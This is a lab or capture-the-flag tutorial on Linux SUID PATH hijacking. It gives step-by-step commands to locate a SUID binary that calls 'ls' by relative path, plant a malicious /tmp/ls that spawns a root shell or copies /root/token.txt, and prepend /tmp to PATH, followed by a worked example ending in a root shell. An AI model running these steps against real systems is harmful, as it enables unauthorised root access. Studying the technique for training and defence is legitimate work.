Skip to content

SUID PATH Hijacking

Table of Contents


Overview

A privilege escalation technique that exploits SUID binaries which call system commands using relative paths (e.g., ls) instead of absolute paths (e.g., /bin/ls). Because the binary executes with root privileges, a malicious script placed earlier in PATH will be executed as root instead of the intended command.

How It Works

  1. A SUID binary runs with root privileges regardless of who executes it.
  2. Internally, it calls a command without specifying the full path, e.g., ls -l %s instead of /bin/ls -l %s.
  3. The OS resolves the command by searching directories in PATH from left to right.
  4. By prepending a directory you control (e.g., /tmp) to PATH and placing a malicious script with the same name there (e.g., ls), the SUID binary executes the malicious script as root.

Step-by-Step

Step 1 — Find Non-Standard SUID Binaries

find / -perm -4000 -type f 2>/dev/null

Ignore standard system binaries (passwd, sudo, su, mount, etc.). Focus on anything in /usr/local/bin/, /opt/, or other non-default locations.

Step 2 — Confirm It Is a SUID Binary

file /path/to/suspicious-binary

Look for setuid in the output:

/usr/local/bin/ls-lh: setuid ELF 64-bit LSB shared object, x86-64 ...

Step 3 — Find Commands Called Without Absolute Paths

strings /path/to/suspicious-binary

Look for short command names that appear without a leading /:

Usage: %s <path>
ls -l %s          ← vulnerable: relative path call

As opposed to a safe absolute path call:

/bin/ls -l %s     ← not vulnerable

Step 4 — Create a Malicious Script

Create a script with the same name as the command being called, in a directory you can write to:

# Example: hijacking a call to 'ls'
echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls

The script can do anything that should run as root, e.g., open a shell, read a protected file, add a user, etc. For example, to read a protected file directly:

echo 'cat /root/token.txt > /tmp/token_output' > /tmp/ls
chmod +x /tmp/ls

Step 5 — Prepend Your Directory to PATH

export PATH=/tmp:$PATH

This makes the OS find your malicious /tmp/ls before the real /bin/ls.

Step 6 — Execute the SUID Binary

/path/to/suspicious-binary /root/token.txt

Since the binary is SUID root and calls ls without an absolute path, it executes your /tmp/ls script as root.


Cleanup

After completing the challenge, restore the original PATH to avoid breaking your session:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

And remove the malicious script:

rm /tmp/ls

Detection Tips

When hunting for this vulnerability, the key indicators are:

Indicator Command
Non-standard SUID binary find / -perm -4000 -type f 2>/dev/null
Relative path calls in binary strings BINARY \| grep -E "^[a-z]{2,8}( \|$)"
Writable staging directory find / -xdev -type d -perm -0002 2>/dev/null

Full Example

Challenge

What is the root token found in /root/token.txt on Target 2 (linux-challenge-2)?

File Accessability

First, let's check if the file is accessible:

john@linux-challenge-2:~$ ls -l /root/token.txt
ls: cannot access '/root/token.txt': Permission denied

SUDO Availability

Second, let's check for sudo privileges:

john@linux-challenge-2:~$ sudo -l
[sudo] password for john:
Sorry, user john may not run sudo on linux-challenge-2.

Find SUID Files

Since john cannot run sudo and /root/token.txt is inaccessible, let's look for SUID binaries:

john@linux-challenge-2:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/local/bin/ls-lh

Confirm SUID

We found a non-standard file /usr/local/bin/ls-lh as an SUID binary.

Let's check the file type to see if it is a script or an ELF binary.

john@linux-challenge-2:~$ file /usr/local/bin/ls-lh
/usr/local/bin/ls-lh: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e851407b3768b7534d79aa9c44a5d1a97793271a, for GNU/Linux 3.2.0, not stripped

Confirm Relative Path Call

Let's check for strings in the binary and look for commands like ls, cat or bash.

john@linux-challenge-2:~$ strings /usr/local/bin/ls-lh

Click here to see the output
/lib64/ld-linux-x86-64.so.2
Q@{7h
libc.so.6
setreuid
__stack_chk_fail
system
getuid
geteuid
__cxa_finalize
__libc_start_main
snprintf
GLIBC_2.2.5
GLIBC_2.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Usage: %s <path>
ls -l %s
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
ls-lh.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.2.5
system@@GLIBC_2.2.5
snprintf@@GLIBC_2.2.5
geteuid@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
setreuid@@GLIBC_2.2.5
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

There is a call to ls without an absolute path:

ls -l %s

Create Malicious Script

Let's create a malicious ls script to start a shell as root:

john@linux-challenge-2:~$ echo '/bin/bash' > /tmp/ls
john@linux-challenge-2:~$ chmod +x /tmp/ls

Hijack PATH for Exploitation

Let's modify PATH and run the exploit:

john@linux-challenge-2:~$ export PATH=/tmp:$PATH
john@linux-challenge-2:~$ /usr/local/bin/ls-lh /root/token.txt
root@linux-challenge-2:~#  root shell opened

Read the Protected File

root@linux-challenge-2:~# cat /root/token.txt
c741c0
root@linux-challenge-2:~# exit
john@linux-challenge-2:~$

References